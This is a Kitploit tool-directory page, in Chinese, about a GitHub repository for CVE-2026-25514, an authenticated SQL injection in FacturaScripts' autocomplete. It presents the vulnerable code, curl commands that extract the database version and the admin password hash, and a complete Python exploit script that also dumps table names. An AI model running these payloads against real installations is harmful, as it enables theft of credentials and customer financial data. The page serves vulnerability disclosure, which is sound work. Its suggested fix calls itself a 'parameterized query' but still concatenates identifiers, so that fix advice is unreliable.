Skip to content
KitploitKITPLOIT
工具漏洞利用博客
Log in
提交
工具漏洞利用博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-25514 — CVE-2026-25514 - FacturaScripts 在自动补全操作中存在 SQL 注入漏洞 | Kitploit
工具/GitHubGitHub/lukasz-rybak/cve-2026-25514
漏洞分析漏洞利用Web应用程序漏洞利用渗透测试学习与教育数据库安全
GitHublukasz-rybak/cve-2026-25514

CVE-2026-25514

CVE-2026-25514 - FacturaScripts 在自动补全操作中存在 SQL 注入漏洞

查看仓库
105个月前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-25514:FacturaScripts 自动完成操作中存在 SQL 注入漏洞

概述

字段详情
CVE 编号CVE-2026-25514
严重性高危
安全公告查看安全公告
发现者Lukasz Rybak

受影响的产品

  • facturascripts/facturascripts(版本:< 2025.81)

CWE 分类

  • CWE-20:输入验证不当
  • CWE-89:未正确中和 SQL 命令中使用的特殊元素('SQL 注入')
  • CWE-943:数据查询逻辑中特殊元素的中和不当

详细信息

摘要

FacturaScripts 在自动完成功能中存在一个严重的 SQL 注入漏洞,该漏洞允许经过身份验证的攻击者从数据库中提取敏感数据,包括用户凭据、配置设置以及所有已存储的业务数据。该漏洞存在于 CodeModel::all() 方法中,用户提供的参数在未经净化或参数化绑定的情况下被直接拼接进 SQL 查询。


详情

FacturaScripts 中的多个控制器(包括 CopyModel、ListController 和 PanelController)实现了自动完成操作,该操作通过 CodeModel::search() 或 CodeModel::all() 方法处理用户输入。这些方法在没有任何验证或转义的情况下,通过直接拼接用户可控参数来构造 SQL 查询。

漏洞代码位置

文件: /Core/Model/CodeModel.php 方法: all() 行: 108-109

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ......

    // VULNERABLE CODE:
    $sql = 'SELECT DISTINCT ' . $fieldCode . ' AS code, ' . $fieldDescription . ' AS description '
        . 'FROM ' . $tableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';
    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

存在漏洞的参数

以下参数容易受到 SQL 注入攻击:

  1. source → 映射到 $tableName - 表名注入
  2. fieldcode → 映射到 $fieldCode - 列名注入
  3. fieldtitle → 映射到 $fieldDescription - 列名注入(主要攻击向量)

攻击流程

  1. 攻击者使用有效凭据进行身份验证(任意用户角色)
  2. 攻击者向 /CopyModel 发送带有 action=autocomplete 的 POST 请求
  3. 恶意 SQL 函数/查询通过 fieldtitle 参数注入
  4. 应用程序执行注入的 SQL 并以 JSON 格式返回结果
  5. 攻击者从数据库中提取敏感数据

概念验证(PoC)

前提条件

  • 有效的身份验证凭据(测试实例中为 admin/admin)
  • 可访问 FacturaScripts Web 界面

分步手动漏洞利用(CLI)

由于 FacturaScripts 使用 MultiRequestProtection,每个 POST 请求都需要有效的 multireqtoken。

1. 获取初始令牌和会话 Cookie:

FacturaScripts 会将 / 重定向到 /login,因此我们使用 -L 跟随重定向,并使用 -c 保存会话 Cookie。

TOKEN=$(curl -s -L -c cookies.txt "http://localhost:8091/login" | grep -Po 'name="multireqtoken" value="\K[^"]+')
echo $TOKEN

2. 身份验证(登录):

使用保存的 Cookie 和令牌进行登录。

curl -s -b cookies.txt -c cookies.txt -X POST "http://localhost:8091/login" \
  -d "fsNick=admin" \
  -d "fsPassword=admin" \
  -d "action=login" \
  -d "multireqtoken=$TOKEN"

3. 提取数据库版本:

为下一个请求获取新的令牌,然后执行注入。

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=version()" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

4. 提取数据库用户和名称:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=concat(user(),' @ ',database())" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

5. 提取管理员密码哈希:

# Get fresh token
TOKEN=$(curl -s -b cookies.txt "http://localhost:8091/CopyModel" | grep -Po 'name="multireqtoken" value="\K[^"]+')

# Execute SQLi
curl -s -b cookies.txt "http://localhost:8091/CopyModel" \
  -d "action=autocomplete" \
  -d "source=users" \
  -d "fieldcode=nick" \
  -d "fieldtitle=password" \
  -d "term=admin" \
  -d "multireqtoken=$TOKEN"

自动化漏洞利用脚本

#!/usr/bin/env python3
"""
FacturaScripts SQL Injection Exploit - Autocomplete
Author: Łukasz Rybak
"""

import requests
import re
import json

# Configuration
BASE_URL = "http://localhost:8091"
USERNAME = "admin"
PASSWORD = "admin"

session = requests.Session()

def get_csrf_token(url):
    """Extract CSRF token from page"""
    response = session.get(url)
    match = re.search(r'name="multireqtoken" value="([^"]+)"', response.text)
    return match.group(1) if match else None

def login():
    """Authenticate to FacturaScripts"""
    print(f"[*] Logging in as {USERNAME}...")
    token = get_csrf_token(f"{BASE_URL}/login")
    if not token:
        print("[!] Failed to get CSRF token")
        exit()

    data = {
        "multireqtoken": token,
        "action": "login",
        "fsNick": USERNAME,
        "fsPassword": PASSWORD
    }
    response = session.post(f"{BASE_URL}/login", data=data)

    if "Dashboard" not in response.text:
        print("[!] Login failed!")
        exit()
    print("[+] Successfully logged in.")

def exploit_sqli(field_payload, term="admin", source="users", field_code="nick"):
    """Execute SQL injection through autocomplete"""
    data = {
        "action": "autocomplete",
        "source": source,
        "fieldcode": field_code,
        "fieldtitle": field_payload,
        "term": term
    }
    response = session.post(f"{BASE_URL}/CopyModel", data=data)
    try:
        return response.json()
    except:
        return None

def main():
    login()

    print("\n" + "="*60)
    print(" EXPLOITING SQL INJECTION IN AUTOCOMPLETE ")
    print("="*60 + "\n")

    # 1. Database version
    print("[*] Extracting database version...")
    res = exploit_sqli("version()")
    if res:
        print(f"[+] Database Version: {res[0]['value']}")

    # 2. Current user and database
    print("[*] Extracting DB user and database name...")
    res = exploit_sqli("concat(user(),' @ ',database())")
    if res:
        print(f"[+] DB User @ Database: {res[0]['value']}")

    # 3. Admin password hash
    print("[*] Extracting admin password hash...")
    res = exploit_sqli("password", term="admin")
    if res:
        print(f"[+] Admin Password Hash: {res[0]['value']}")

    # 4. All table names
    print("[*] Extracting table names...")
    res = exploit_sqli("(SELECT GROUP_CONCAT(table_name) FROM information_schema.tables WHERE table_schema=database())")
    if res:
        print(f"[+] Tables: {res[0]['value']}")

    print("\n[+] Exploitation complete!")

if __name__ == "__main__":
    main()
image

影响

此 SQL 注入漏洞具有严重影响:

数据机密性

  • 完整的数据库泄露 - 攻击者可提取所有数据,包括:
    • 用户凭据(密码哈希)
    • 客户信息(姓名、地址、税号等)
    • 财务记录(发票、付款、银行详细信息)
    • 业务逻辑和配置数据
    • 插件和系统设置

谁受到影响?

  • 所有运行易受攻击版本的 FacturaScripts 安装
  • 所有经过身份验证的用户均可利用(不仅仅是管理员)
  • 使用 FacturaScripts 进行会计/开票的企业
  • 数据存储在系统中的客户

建议修复方案

立即修复措施

方案一:使用预处理语句

// File: Core/Model/CodeModel.php
// Method: all()

public static function all(string $tableName, string $fieldCode, string $fieldDescription, bool $addEmpty = true, array $where = []): array
{
    // ... validation code ...

    // Validate and escape identifiers
    $safeTableName = self::db()->escapeColumn($tableName);
    $safeFieldCode = self::db()->escapeColumn($fieldCode);
    $safeFieldDescription = self::db()->escapeColumn($fieldDescription);

    // Use parameterized query
    $sql = 'SELECT DISTINCT ' . $safeFieldCode . ' AS code, ' . $safeFieldDescription . ' AS description '
        . 'FROM ' . $safeTableName . Where::multiSqlLegacy($where) . ' ORDER BY 2 ASC';

    foreach (self::db()->selectLimit($sql, self::getLimit()) as $row) {
        $result[] = new static($row);
    }

    return $result;
}

致谢

发现者: Łukasz Rybak

参考资料

下载工具